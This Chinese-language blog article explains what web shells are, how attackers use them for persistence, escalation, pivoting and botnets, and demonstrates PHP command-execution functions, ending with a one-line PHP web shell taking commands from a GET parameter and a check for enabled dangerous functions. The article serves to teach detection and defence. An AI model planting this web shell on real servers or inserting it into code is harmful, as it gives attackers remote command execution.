Web Shell 简介(Web Shell 第 1 部分)

多通宵写文章,额不会编了

目录

  • 前言
  • 持久远程访问
  • 特权升级
  • 发动攻击
  • 僵尸
  • Web Shells 101 使用 PHP(Web Shells 第 2 部分)
  • 系统
  • 执行
  • shell_exec
  • 直通
  • 反引号

前言

Web shell是攻击者使用的恶意脚本,目的是升级和维持对已经受损的 Web 应用程序的持久访问。Web shell本身不能攻击或利用远程漏洞,所以它总是攻击的第二步(这个阶段也称为post-exploitation)。

攻击者可以利用常见的网页漏洞,如SQL 注入、远程文件包含 (RFI),甚至使用跨站点脚本 (XSS)作为社会工程攻击的一部分,以获得文件上传功能并传输恶意文件文件。常用功能包括但不限于shell命令执行(访问cmd/命令行)、代码执行、数据库枚举、文件管理等。

Web shell 可以用多种网络语言编写,例如,PHP web shell 很常见。无论您的系统是基于自定义软件还是基于通用内容管理系统(例如带插件的 WordPress),它们都会影响您。Web shell 也可能不会被防病毒或反恶意软件检测到,因为它们不使用典型的可执行文件类型。同时,它们很容易为公众所用,例如,通过几个 GitHub 项目。

在这个简短的系列中,我们想向您详细解释 web shell 的工作原理(使用 PHP shell 示例)以及如何检测 web shell 和保护您的资产。

持久远程访问

Web shell 脚本通常包含一个后门,它允许攻击者随时远程访问并可能控制面向 Internet 的服务器。这将为攻击者省去每次需要访问受感染服务器时都必须利用漏洞的不便。

攻击者也可能选择自己修复漏洞,以确保没有其他人会利用该漏洞。通过这种方式,攻击者可以保持低调并避免与管理员进行任何交互,同时仍然获得相同的结果。

特权升级

除非服务器配置错误,否则 web shell 将以 web 服务器软件用户权限运行,这些权限是(或者至少应该是)有限的。使用 web shell,攻击者可以尝试通过利用系统上的本地漏洞来执行权限升级攻击,以获得 root 权限,在 Linux 和其他基于 UNIX 的操作系统中,root 权限是超级用户。

通过访问根帐户,攻击者基本上可以在系统上执行任何操作,包括管理本地文件、安装软件、更改权限、添加和删除用户、窃取密码、阅读电子邮件等等。

发动攻击

Web shell 可用于在网络内部或外部进行旋转。攻击者可能想要监视(嗅探)系统上的网络流量,扫描内部网络以发现活动主机并枚举网络中的防火墙和路由器。

此过程可能需要数天,甚至数月,主要是因为攻击者通常寻求保持低调并尽可能不引起注意。一旦攻击者拥有持久访问权限,他们就可以耐心地采取行动。

受感染的系统还可用于攻击或扫描位于网络外部的目标。这为攻击者增加了一层额外的匿名性,因为他们使用第 3 方系统发起攻击。更进一步的做法是通过多个系统进行枢轴(隧道),从而几乎不可能将攻击追溯到其源头。

僵尸

Web shell 的另一个用途是使服务器成为僵尸网络的一部分。僵尸网络是一个由攻击者控制的受感染系统组成的网络,可以自己使用或出租给其他犯罪分子。Web shell 或后门连接到命令和控制 (C&C) 服务器,它可以从该服务器获取有关执行指令的命令。

此设置通常用于需要大量带宽的分布式拒绝服务 (DDoS) 攻击。在这种情况下,攻击者对破坏或窃取部署了 web shell 的系统的任何东西没有任何兴趣。相反,他们只会使用它的资源。

Web Shells 101 使用 PHP(Web Shells 第 2 部分)

几乎所有您能想到的网络编程语言都存在网络外壳。我们选择专注于 PHP,因为它是 Web 上使用最广泛的编程语言。
PHP web shell 只是使用内置的 PHP 函数来执行命令。以下是一些最常用的用于在 PHP 中执行 shell 命令的函数。

系统

该system()函数接受命令作为参数并输出结果。

Microsoft Windows 机器上的以下示例将运行dir命令以返回执行 PHP 文件的目录的目录列表。


// Return the listing of the directory where the file runs (Windows)
system("dir");
?>

--> Volume in drive C has no label.
Volume Serial Number is A08E-9C63

Directory of C:\webserver\www\demo

02/27/2020 10:21 PM <DIR> .
02/27/2020 10:21 PM <DIR> ..
02/27/2020 10:19 PM 22 shell.php
1 File(s) 22 bytes
2 Dir(s) 31,977,467,904 bytes free

ls在 Linux 机器上执行命令会得到类似的结果。


// Return the listing of the directory where the file runs (Linux)
system("ls -la");
?>

--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

其他命令具有相同的效果。


// Return the user the script is running under
system("whoami");
?>

--> www-data

执行

该exec()函数接受命令作为参数但不输出结果。如果指定了第二个可选参数,则结果将作为数组返回。否则,如果回显,只会显示结果的最后一行。


// Executes but returns nothing
exec("ls -la");
?>

-->

echo与函数一起使用exec()只会打印命令输出的最后一行。

// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

如果指定了第二个参数,则结果以数组形式返回。

// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array([0] => total 12[1] => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 .[2] => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..[3] => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec

该shell_exec()函数类似于exec(),但是它将整个结果输出为字符串。

// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

直通

该passthru()函数执行命令并以原始格式返回输出。

// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open()该proc_open()函数可能难以理解(您可以在PHP 文档中找到该函数的详细描述)。通过使用proc_open(),我们可以创建一个处理程序(进程),用于我们的脚本和我们要运行的程序之间的通信。

反引号

令人惊讶的是,没有多少 PHP 开发人员知道这一点,但 PHP 会将反引号 (`) 的内容作为 shell 命令执行。

注意:不要将反引号 (`) 与单引号 (’) 混淆


$output = `whoami`;
echo "
$output
"
; ?> --> www-data

基于以上内容,以下是最简单形式的 PHP web shell。

 system($_GET['cmd']);?>

它使用system()函数来执行通过“cmd” HTTP 请求 GET 参数传递的命令。

我们已经确定这些功能(以及其他一些功能)可能非常危险。更危险的是,所有这些内置的 PHP 命令在安装 PHP 时都默认启用,而大多数系统管理员并没有禁用它们。

如果您不确定它们是否在您的系统上启用,以下将返回已启用的危险功能列表。


print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)["internal"]));
?>

在默认安装中,我们可以看到上述所有功能均已启用。

[669] => exec
[670] => system
[673] => passthru
[674] => shell_exec
[675] => proc_open
[786] => show_source
[807] => parse_ini_file
[843] => popen

你可能感兴趣的:(php,网络,安全)